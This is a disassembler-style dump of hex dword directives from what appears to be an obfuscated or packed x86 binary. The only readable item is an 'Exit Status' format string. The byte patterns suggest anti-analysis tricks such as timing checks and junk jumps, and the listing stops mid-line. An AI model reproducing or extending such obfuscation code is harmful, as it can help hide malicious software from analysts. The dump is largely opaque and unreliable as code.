0FC242444h dd 0CE9ABh, 0A14E0000h, 68524FFEh, 6476914Ch, 0BD8D504Eh dd 61F2CE5h, 0B5016060h, 61F1A3Dh, 0B1616160h, 0FAD61EDh dd 688h, 3D9D8900h, 3061F1Fh, 29242444h, 1F31C9BDh, 0F609006h dd 87h, 0D88B6600h, 52505061h, 188E0Fh, 13E90000h, 0E1000000h dd 0D794C217h, 3628ADF5h, 1C6F5h, 4DA24BBDh, 310FC73Ah dd 8E9h, 0A579D400h, 24692AF1h, 90585A23h, 9C90BB60h, 816642C1h dd 61165FD7h, 14E9ABh, 2130000h, 8D55A283h, 0F599583Bh dd 0BEB437BFh, 7D5E50Dh, 5E9DB3Fh, 25000000h, 0A710F5B0h dd 1599BD8Dh, 0ADF5061Fh, 0FE9h, 4EF91C00h, 0A08D7853h dd 8F7C2357h, 76D9B019h, 28244403h, 1B890Fh, 0F600000h dd 87h, 0EE900h, 22D0000h, 0F3C8B28Dh, 5D1B24Ch, 1183871Bh dd 0AE9AB61h, 0B000000h, 0C885156Dh, 0CD25471Ch, 0E9605E24h dd 8, 0C5384C41h, 0B48E1B06h, 8F0Fh, 0FF610000h, 1F393B8Dh dd 3BBD8306h, 61F39h, 44C71075h, 1C24h, 0B58D0000h, 61F3E4Dh dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 1F202585h, 74C08406h dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah dd 0C6835E0Fh, 6D85FF04h, 0E9061F10h, 0FFFFFF6Fh, 0A995015Eh dd 60061F10h, 1725BD29h, 0F081061Fh, 1D787B41h, 6D858B61h dd 89061F10h, 1F0C59B5h, 0FE0D106h, 185h, 8503FC00h, 61F1599h dd 165B589h, 8E0F061Fh, 1, 0BEFCh, 96F80000h, 0BE9h, 10296600h dd 0CDB944CBh, 3728F4F0h, 0E9F9AD66h, 11h, 0AE877A4h, 0C0AFB946h dd 0C3EC74D5h, 0AC6A75FDh, 2E0C176h, 0D8C0Fh, 89600000h dd 1F1881BDh, 0B223B806h, 3615F4Ch, 1F249585h, 0BF666006h dd 0BF0F7CB0h, 8D0161C2h, 61F2685h, 0C8A0F96h, 0F000000h dd 684h, 800F00h, 0AD000000h, 20A99509h, 8B0F061Fh, 6 dd 9ED9501h, 4C8B061Fh, 3FC2424h, 0E9242444h, 0Dh, 7D66C229h dd 7E8878A8h, 8155CE82h, 6E9C7h, 126B0000h, 4A6E2A64h dd 1C244489h, 8EDBD89h, 0B589061Fh, 61F1221h, 0B5896096h dd 61F0A59h, 8E9h, 0F4AC5000h, 41DAC5B4h, 0E9AC61F5h, 0Bh dd 7F47D9Ah, 0AA97124h, 32F5924Dh, 1BD89C9h, 0FE061F2Eh dd 19880FC1h, 0F000000h, 138Bh, 0EE900h, 0F0C80000h, 171E7039h dd 9E5D6819h, 97E25488h, 0C8D9D29h, 0D0D0061Fh, 8F830Fh dd 0B5890000h, 61F2351h, 830FD0D0h, 81h, 0D0D0F5FCh, 77820Fh dd 0D0F90000h, 6E820FD0h, 0F5000000h, 0BE9h, 3F9EEA00h dd 48D9AAA8h, 0C27CA811h, 890FC9FEh, 0FFFFFFBEh, 0CDBD3160h dd 89061F02h, 1F146195h, 0C4836106h, 81F96020h, 177AA9DFh dd 44C76110h, 0FC24h, 0BD890000h, 61F0E85h, 18BDB589h dd 1B8061Fh, 89000000h, 1F0B8D8Dh, 108D8D06h, 60061F71h dd 2BD5B589h, 0B589061Fh, 61F0B25h, 9E1FF61h, 1F09C585h dd 2585C606h, 61F20h, 55850160h, 0F061F07h, 6161C1BFh dd 1A818D31h, 8C2061Fh, 13E9F900h, 6C000000h, 0DDCCE273h dd 48E7A7ABh, 56BB54DFh, 578211E2h, 50500895h, 6850F52h dd 0F000000h, 8Dh dd 0E9310F00h, 10h, 0CB2411ACh, 0F60AF8D8h, 6D881DDDh dd 3656A724h, 3489585Ah, 0D9816024h, 4785C10Ch, 2A25B503h dd 8961061Fh, 1F4050B5h, 0BF0F6006h, 870F51F6h, 0 dd 8D89615Fh, 61F406Ch, 1BB58DF8h, 60061F3Fh, 1CE681F9h dd 61410CA9h, 7E35858Dh, 9D89005Bh, 61F02EDh, 0B260D0FFh dd 8A0F56B1h, 0 dd 0F5E615Ah, 184h, 0E9C3F500h, 0Fh, 401FDA83h, 56182393h dd 0AC80E1D1h, 8BA5C844h, 1F4050B5h, 0D59D8906h, 8B061F1Bh dd 1F406C8Dh, 870FFC06h, 0Ch, 68D0Fh, 95090000h, 61F1FEDh dd 0B8h, 10E900h, 0B9960000h, 0BE4C9FDFh, 39203155h, 2E337FC0h dd 0D98B9A59h, 0B55BD89h, 0C6E9061Fh, 29000000h, 1F02E9BDh dd 29263206h, 1F07718Dh, 8902B206h, 1F0CF9B5h, 77E906h dd 8D290000h, 61F1C51h, 89C232F9h, 1F1449BDh, 1D7A0506h dd 8B608A75h, 1F2DB9B5h, 6830F06h, 29000000h, 1F2F7DBDh dd 0CC8A6106h, 13E9h, 94300000h, 6676D30Dh, 44CB1029h dd 0F4F0CDB9h, 0F3A73728h, 0B589C8D3h, 61F32BDh, 0D1084235h dd 81850998h, 60061F11h, 1031958Bh, 0BF0F061Fh, 0CAFE61F3h dd 0E1858B60h, 0E9061F1Dh, 8, 93501008h, 1EFD6233h, 0FD20A61h dd 0FFFF8885h, 8E9FFh, 666C0000h, 0D7A7DBF7h, 0E94B63EEh dd 6, 0C61ABE8Bh, 8D898678h, 61F1D41h, 6830F46h, 89000000h dd 1F1BB195h, 0FDB0B06h, 0FFFF3885h, 9E9FFh, 0DA340000h dd 8DC89CBAh, 0CFE634F0h, 2AFDB589h, 9D29061Fh, 61F14FDh dd 0BD010000h, 61F158Dh, 8C0F0000h, 0Ch, 68D0Fh, 830F0000h dd 0 dd 5E90000h, 0B2000000h, 0D775489Dh, 0BD890000h, 61F2B01h dd 394D858Dh, 12E9061Fh, 0A7000000h, 0A9C47159h, 835EAE7h dd 580D03E2h, 8B79822Bh, 0D58589F6h, 89061F24h, 1F007DB5h dd 82858D06h, 60061F3Eh, 2CFD9D8Bh, 9D89061Fh, 61F1AE1h dd 75858961h, 0EB061F14h, 14h, 3 dup(0) dd 8800h, 91858D00h, 89061F41h, 1F189D85h, 0D1BD8306h dd 61F40h, 123840Fh, 85C60000h, 61F2025h, 5F9E6856h, 48185F9h dd 260D9B24h, 0D9B5FF4Eh, 8D061F20h, 1F394D85h, 89D0FF06h dd 1F40C585h, 2585C606h, 56061F20h, 40DDAB68h, 243481D1h dd 4DE865F9h, 20D9B5FFh, 858D061Fh, 61F394Dh, 8589D0FFh dd 61F40C9h, 4E8046Ah, 0 dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 1F40D585h dd 1F40506h, 0E0C10000h, 4895002h, 0FF006A24h, 1F40C995h dd 0CD858906h, 8B061F40h, 0FFFFB8D8h, 95FFFFFFh, 61F189Dh dd 95FFC38Bh, 61F189Dh, 84E9h, 0D1BD8300h, 61F40h, 1850Fh dd 57C30000h, 40CDBD8Bh, 83AB061Fh, 1F40CD85h, 0C35F0406h dd 40D1BD83h, 0F00061Fh, 185h, 8360C300h, 1F40CDADh, 9D8B0406h dd 61F40CDh, 0FFFC7B83h, 1D850Fh, 0AF680000h, 81B5E42Eh dd 51512404h, 6A4A1Ch, 95FF33FFh, 61F40C5h, 1DE9C361h dd 68000000h, 3F48AC38h, 38243481h, 6A3F482Ch, 0FF33FF00h dd 1F40C595h, 0CDAD8306h, 4061F40h, 0FFFFB1E9h, 0ADE948FFh dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h dd 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h dd 43360000h, 5205A4A1h, 76412BEDh, 0D00AE4FBh, 7E544CABh dd 7E3E868h, 0D202ADDFh, 4523DF7Bh, 656B637Bh, 100EA9A1h dd 615323E1h, 0C21BB7A9h, 355B09ACh, 0D938B07h, 0D31FB9D5h dd 45238D77h, 66646579h, 1014A9A1h, 7E493EFEh, 0DC07A9A9h dd 3B4F1EB7h, 41A7E86Ch, 0C21FBDC2h, 0B22DF3Ah, 7070656Ch dd 5F12B0A1h, 7E473EFFh, 0A7h, 62h dup(0) dd 43360000h, 5E0FADA1h, 614938F1h, 0DE10B4A9h, 76571EBFh dd 12A2EE2Dh, 0D309BA90h, 44308D35h, 22616460h, 5E0EB5F3h dd 334122F1h, 0C842AAE0h, 3B4419B7h, 15B0FF7Eh, 0BC42B5D5h dd 4E3AFD56h, 2E607974h, 5C0EB5A1h, 33422DF7h, 0D742B0E0h dd 3B5B03AAh, 0EAEE360h, 0D74CA1C2h, 5976C935h, 63717970h dd 4940B4F3h, 335439F7h, 0D60DB6F9h, 355B0DAAh, 48h dup(0) dd 43360000h, 5112A3A1h, 614327FBh, 0C542B7AEh, 3B5A03B7h dd 41B0E765h, 0D809BDD2h, 5E39CB7Bh, 70256E7Bh, 590EAEF4h dd 7A062BF6h, 0DE1BE4E7h, 68161EADh, 4B7F574h, 0BB66F6DDh dd 4A33C10Bh, 22296F66h, 5F0CAEF4h, 7A0628F9h, 0C304E4FDh dd 761601B7h, 13ACEB68h, 0D80DF8C9h, 4E248D3Fh, 70647E66h dd 5F19E0F5h, 63063EEDh, 0C305ABFBh, 1801B9h, 61h dup(0) dd 44360000h, 1005ACE8h, 615423FBh, 0D416B4FCh, 3B184DBCh dd 12AAEE59h, 0D91EA890h, 4637DF3Ch, 71646235h, 5505A2A1h dd 724B6CF6h, 0C412ADE7h, 7E420DB4h, 0FA2A669h, 0D701F8D4h dd 2133CF22h, 25716318h, 5E09E0F2h, 674529FEh, 0D342A0ECh dd 3B574CA1h, 14B1EF5Bh, 0C403F8C3h, 4A24CE7Bh, 66606176h dd 5834E0AFh, 75063FF1h, 9107A8E0h, 3C5803AFh, 0EB4A679h dd 0D74CB3C2h, 443BD435h, 2B6F67h, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2CF1E900h, 0D3810000h, 3D6B184Ch, 12E8FCh, 0E29A0000h dd 0A3B76D2Dh, 0BE679452h, 920742DEh, 52DF1677h, 2FF59589h dd 8B5A061Fh, 0D0C280C0h, 6C1BD83h, 7500061Fh, 51BD8309h dd 61F1Fh, 53501374h, 1B8C08Bh, 8D000000h, 21AE469Dh, 5BD3FF06h dd 51BD8358h, 61F1Fh, 53501174h, 1B8h, 0F79D8D00h, 0FF0621ACh dd 0F585BD3h, 8B66D8BFh, 6AC08BDAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 2846C350h dd 77F4AD09h, 12E9h, 95255F00h, 0F9076FDEh, 0A69B40D7h dd 92DE0E43h, 66B88C68h, 0BD83D18Bh, 61F06B1h, 4B840F00h dd 83000001h, 1F2739BDh, 840F0006h, 13Eh, 42D0B6BBh, 6A605Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 45EF55C3h, 14519D8Bh, 858B061Fh, 61F2739h, 6E9h, 0EB8FFE00h dd 5509256h, 3E8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0AEC35141h, 0C275166h, 0C28166BFh, 4FB38C3Ch dd 0D98B6690h, 52505050h, 8A0Fh, 310F0000h, 8F0Fh, 585A0000h dd 0BB66905Bh, 858D8844h, 61F4D8Ch, 50B0E280h, 89DF8B66h dd 9D8B2404h, 61F0665h, 6880Fh, 85890000h, 61F16E9h, 4D6A858Dh dd 0D381061Fh, 31FA562Dh, 54BB6690h, 0BA6650D2h, 0F90B3E1h dd 688h, 91952900h, 0FF061F07h, 1F00A195h, 15BD2906h, 83061F0Fh dd 958B0CC4h, 61F09A5h, 4D6A858Dh, 0BD29061Fh, 61F108Dh dd 89D98A50h, 95892404h, 61F2CB1h, 8B60026Ah, 9D9589CBh dd 61061F19h, 857495FFh, 810F0068h, 0Ch, 68F0Fh, 95330000h dd 61F10C9h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 24211671h, 85C70A9Bh, 61F4D9Dh, 1 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6CC35747h dd 0BB66500Ch, 3489C0CAh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B5892B10h dd 61F4D4Eh, 110D9D89h, 0BD83061Fh, 61F0EF5h, 20850F01h dd 81000000h, 0C01F3CDBh, 5F8831Eh, 11850Fh, 81660000h dd 0B8E3DCE3h, 0 dd 0CB816656h, 835AA445h, 1F2C31BDh, 840F0006h, 0Ch, 0B86AE380h dd 0 dd 1EF380F5h, 0E3816660h, 0BF0F94F2h, 51858BD8h, 66061F17h dd 83B3DBBAh, 6A02C0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0EF43FDC3h, 0E0838803h, 0F8C74355h dd 4D468589h, 0FE9061Fh, 0A6000000h, 8C24F49Ch, 4EB7E234h dd 35C66141h, 0C6221Ch, 89D48AFFh, 1F0B3595h, 2585C606h dd 53061F20h, 68D08B66h, 0E04AA5B4h, 48109B3h, 66A32424h dd 0FF75B31Ch, 1F3271B5h, 0D38B6606h, 7993858Dh, 6A0622h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0DF32F0C3h, 0A7E2441Eh, 4C40BA34h, 0D0FF68E4h, 89D18B66h dd 1F1D4585h, 0C99D2906h, 66061F0Bh, 55C5D281h, 2329BD83h dd 0F01061Fh, 15285h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0B24F5E13h, 55CCFA82h dd 61DCC380h, 0D55958Bh, 85C6061Fh, 61F2025h, 0B5858945h dd 68061F2Ch, 0CE667465h, 48D0Fh, 0BB660000h, 481406Eh dd 0F9C45D24h, 51006A0Bh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0AAF37EDBh, 51C7F7F2h dd 8E9h, 0B55B0C00h, 2FE23CE1h, 98B65BC2h, 3271B5FFh, 6A061Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0C1043CC3h, 8B23CE08h, 1F02819Dh, 0D2816606h, 958B380Dh dd 61F08A1h, 7993858Dh, 0CF800622h, 6AD0FF57h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 5B89C356h, 0B98F1C90h, 0DBA66F6h, 38F0FEDh, 66000000h dd 9D89D38Bh, 61F2371h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0EB2AEBC3h, 0E148C963h dd 8BC915D9h, 1F2FA995h, 0C59D8B06h, 0FF061F19h, 56006AD0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 59958BE0h, 83061F0Ah, 1F2AE9BDh, 850F0106h, 127h, 8B2BB660h dd 858B61D3h, 61F1751h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0B2C35242h, 9FE9E0h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0A2A999C3h, 9D8B5873h, 61F0F15h, 12E9h, 0E8E70700h dd 5105E75Ah, 3D30DF44h, 65D6C7E9h, 90220E7Fh, 52505250h dd 4866BA66h, 0BA66310Fh, 585A94D8h, 0D98A310Fh, 0B350585Ah dd 0EB8190FAh, 71376DF4h, 0F098589h, 146A061Fh, 95FFD88Bh dd 61F1D45h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 7FC35646h, 78BD0773h, 58A9BFC7h, 583CEE80h, 148EF80h dd 1F23A59Dh, 388006h, 0FF95850Fh, 6AFFFFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E2D934C3h dd 8B14536Ah, 1F074D95h, 199D8B06h, 0C6061F1Bh, 6A0100h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 56A8D3C3h, 615B45B3h, 0E6D9D8Bh, 0BD83061Fh, 61F1D5Dh dd 62840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0C6A8C355h, 8A0F239Eh dd 3, 6ADFBF0Fh, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 9C3287D4h, 95FFB8C0h dd 61F1D45h, 66D68B66h, 0E96F41BAh, 0FFFFFFCBh, 0B99C10BAh dd 5D85C714h, 1061F1Dh, 66000000h, 9589D98Bh, 61F3281h dd 4D528589h, 9D8B061Fh, 61F0AE9h, 52506050h, 310FB2B4h dd 0EE8h, 0A0030700h, 632AB32Dh, 2EF322BEh, 58910119h dd 0D1BE585Ah, 61020BEAh, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F8F7C355h dd 60D18B66h, 6AD3D680h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 96A1B64Fh, 894B68A7h dd 1F2BD58Dh, 6A858D06h, 66061F4Dh, 506474BBh, 89DA8B66h dd 0D2812404h, 18B18D63h, 0E21ADEBBh, 5A858D32h, 6A061F4Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0E5CDC351h, 13E89095h, 0FE000000h, 0ADFA6DAEh dd 99BD6EE7h, 4D62E3A0h, 68A6DE7Ah, 68BA4240h, 5B57F390h dd 60525050h, 61DA8B66h, 8B66310Fh, 90585ADAh, 95FFD68Bh dd 61F06E5h, 0D9BF0F52h, 238D8D5Bh, 0E8061F7Ah, 0Bh, 622A70E5h dd 0E39E064Eh, 5B3979C0h, 1174C00Bh, 4D6A858Dh, 0FF50061Fh dd 888589D1h, 0EB061F4Dh, 8885C70Ah, 0FF061F4Dh, 66FFFFFFh dd 0FE9DE8Bh, 6A000000h, 7CE3BAABh, 69F6BECFh, 2233D378h dd 66617B56h, 0C6BC48BAh, 1F202585h, 8B604D06h, 1F24A185h dd 0AE806h, 98360000h, 3F778165h, 3C24A44Bh, 15919D09h dd 615B061Fh, 0A7478B68h, 0E8525028h, 12h, 0ED7EAD9Bh dd 12D329BBh, 6C90CBDCh, 0AB23D44Dh, 8B661B7Dh, 310F5BD1h dd 11E85250h, 29000000h, 1F23A8BEh, 0DDB8C213h, 0A97E513Fh dd 0A47BC129h, 5A310F5Bh, 81585A58h, 2F1D2404h, 958B7B8Eh dd 61F1AE1h, 2A79B5FFh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0D09F93C3h, 0A0988BFBh dd 890FF6B2h, 2, 858DDE8Bh, 6227993h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0E9C35040h, 8509AA3Ch, 61F0061h dd 0B589D0FFh, 61F2CB5h, 16E58589h, 952B061Fh, 61F08F5h dd 5B86D381h, 85C62DDFh, 61F2025h, 0DDB58945h, 0BB061F07h dd 7D8FB95Fh, 0FCBF0D68h, 52505738h, 310F5250h, 310F585Ah dd 5ADE8B66h, 4815B58h, 75AA5C24h, 51006A55h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 362AFC8Fh dd 0B5FF1DC7h, 61F3271h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0F0C35646h, 0D7EB1E9Ch, 46DB3812h, 0CE968h dd 1D110000h, 33FBD894h, 3BE15A6Ah, 858DD6FCh, 6227993h dd 5A5952Bh, 0D0FF061Fh, 8589DA8Bh, 61F0EE1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 1EC35747h, 0B5892AB2h dd 61F0E55h, 9589D28Bh, 61F0FB5h, 0FD98C66h, 1887h, 13E900h dd 0B2A20000h, 0AE80D3D7h, 78487ADFh, 11D6DB28h, 0E6AFAF2Eh dd 4C1F6B6h, 253840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8B8F02C3h, 10AE9D9h dd 95890000h, 61F1B2Dh, 1BB5B58Bh, 0BF0F061Fh, 810FB3DAh dd 1180C6h, 38F0F00h, 80000000h, 0BD8344F2h, 61F09CDh dd 36850F00h, 0F000000h, 0A82h, 4890F00h, 66000000h, 0E98C6ABAh dd 0ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 62C35242h, 0DC13018Bh, 3E83FAh, 83840Fh, 26B70000h dd 14C5958Bh, 8060061Fh, 146A99E7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 48C35040h, 0F4A0343Ah, 2D499589h dd 95FF061Fh, 61F1D45h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 1FC35646h dd 0F906C3h, 4E7DC405h, 399D8B8Fh, 61061F07h, 0E9AECA81h dd 0AE9334Eh, 4C000000h, 1FE4AB1Ch, 80185DEAh, 0FF77E97Dh dd 0B70FFFFFh, 106C7D6h, 0E8000000h, 0Eh, 3081B480h, 8341E02Fh dd 0EDAA746Bh, 5AF8C72Fh, 4D52BD83h, 0F05061Fh, 11885h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0A5663AE2h, 33227E28h, 6EBA1163h, 8930F7A8h dd 1F1C11BDh, 0E1B58B06h, 89061F0Eh, 1F070D95h, 64B906h dd 0BD090000h, 61F2F41h, 0FE83E80h, 2C84h, 3FEA8100h, 0E921B611h dd 31h, 13E8h, 0CFF39900h, 8C3492Fh, 0B654AC30h, 0B06DFC88h dd 270F81CDh, 31852952h, 5B061F2Bh, 57E805Bh, 8A840FC2h dd 81000000h, 0E25E8FE3h, 0F494623h, 0FFFFB385h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 13990E44h, 89F6A694h, 1F1B2D85h, 45952306h, 0F061F02h dd 1C83h, 14E800h, 0EF9C0000h, 0A74630E2h, 0CE416558h dd 7624D5Ah, 0A3692372h, 6160385Ch, 2FE95Bh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 5BCB45C3h, 8993DC7Ah, 1F0CF19Dh, 0A1B58906h, 0B2061F2Ah dd 0BD8958E7h, 61F00F5h, 1D51BD83h, 0F00061Fh, 0BD84h dd 4D858900h, 60061F0Eh, 14C9B589h, 85C6061Fh, 61F2025h dd 5DDA6854h, 5250AF34h, 8E8h, 45114F00h, 0B57158A3h, 5ABEB33Fh dd 8B66310Fh, 81585ADAh, 0E32E2434h, 8531507Ah, 61F11DDh dd 12658D89h, 0B5FF061Fh, 61F3271h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 3AC35747h, 0FD7B519h, 68Dh dd 0CD958900h, 8D061F16h, 22799385h, 0F3816606h, 0D0FF3483h dd 1B999589h, 6A061Fh, 0DAD38166h, 51B5FF45h, 66061F1Dh dd 0FF907ABAh, 0CE9D0h, 3F910000h, 0E2E95E65h, 8DC6E95Ah dd 0B58982AEh, 61F30A9h, 0F2816661h, 0BA669AE6h, 85C7B377h dd 61F078Dh, 1, 31A9B589h, 6A60061Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 4D01C357h dd 15F54F97h, 0FD1DB01Dh, 9CEF3668h, 81F2B739h, 0EFB62434h dd 8F0F399Ch, 3, 6A5AFC51h, 5E8FFh, 3D360000h, 60BE655Fh dd 860Fh, 61FC0000h, 0F995FF5Bh, 0BA061F14h, 0F9DF7Fh dd 299D2B61h, 90061F08h, 10E8h, 3AE8C700h, 0FAB6A6D4h dd 0ED3571D8h, 0F8795140h, 5ADE8BB5h, 905A5350h, 5840Fh dd 81660000h, 8B67D7E2h, 1F315585h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 558153EDh dd 81028C6Ah, 0AC47A5F2h, 0FC00B2Bh, 1284h, 41BD8900h dd 0FF061F15h, 1F233D95h, 0CD9D8906h, 0C7061F19h, 1F128185h dd 106h, 9509F500h, 61F16A1h, 0DF9BD83h, 0F00061Fh, 1B84h dd 0D1BD8900h, 89061F14h, 1F2AB99Dh, 1595FF06h, 81061F0Bh dd 0CB159FEAh, 0D2BF0F0Eh, 1EA5BD83h, 0F00061Fh, 2F84h dd 918D0100h, 0FF061F1Fh, 1F0A6D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0E3C84279h dd 0D8E835CAh, 235BD83h, 0F00061Fh, 2F84h, 0BD83FC00h dd 61F0D75h, 21850F00h, 8B000000h, 1F08BD95h, 0F995FF06h dd 0E8061F0Ah, 0Ah, 7E557D15h, 0D7550CC5h, 8166F64Ch, 5A12ACDAh dd 839BD83h, 0F00061Fh, 8A84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0E6E384ACh dd 65958BE2h, 81061F23h, 1F0F6585h, 400306h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0A8ED6DB3h, 331A1648h, 1F248595h, 95858106h, 3061F13h dd 6A000040h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0C660C355h, 2E16F486h, 69B607E6h dd 0FD7B70Fh, 8D8DFC31h, 61F5C4Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0CBC35747h, 0F092B60Eh, 31499D0Bh dd 8057061Fh, 295A36DFh, 1F0DFD95h, 6A018906h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 6468C350h, 0CE908h, 7F340000h, 6A6B4907h, 0AF4A1B42h dd 0BA6605CBh, 0C2338478h, 89D0B70Fh, 6A0441h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0D0F86EC3h, 5E9h, 1E703900h, 310F1917h, 7E9h, 47699F00h dd 0BCA9EB68h, 5C818D8Dh, 958B061Fh, 61F2E99h, 0DDD1BB66h dd 0CEBB0189h, 336F93AEh, 0C9BD89C2h, 89061F1Eh, 8E80441h dd 0FA000000h, 1DD30243h, 0E950BB6Eh, 0Eh, 7FF140CDh, 0C50A113Ah dd 84E8A1D0h, 835B9B9Fh, 1F2EF9BDh, 840F0006h, 30h, 6E9h dd 8643DE00h, 0FFA6D7AFh, 1F0D6995h, 19880F06h, 52000000h dd 12E9h, 0E25A7500h, 3E1A466Dh, 6EA6BCC4h, 1A42630Eh dd 5A357FB2h, 13D5BD83h, 0F01061Fh, 4985h, 0A30BA00h, 3FE931C9h dd 89000000h, 1F0E1995h, 0F2B58B06h, 0C7061F5Dh, 6, 7CB58B00h dd 0C7061F5Bh, 6, 0D18BCF00h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0E9C35141h, 0BD83F995h, 61F1281h dd 1840F00h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0E8F9C352h, 0CAD46E0Ch dd 66974BF0h, 835EA8BBh, 1F2B9DBDh, 850F0106h, 0B9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0AAC35343h, 8ABB4B74h dd 468D8BD5h, 0B3061F4Dh, 1C693h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 22C35747h, 0E96073B3h, 13h dd 9454FA3Ah, 0ED85131h, 817FDE25h, 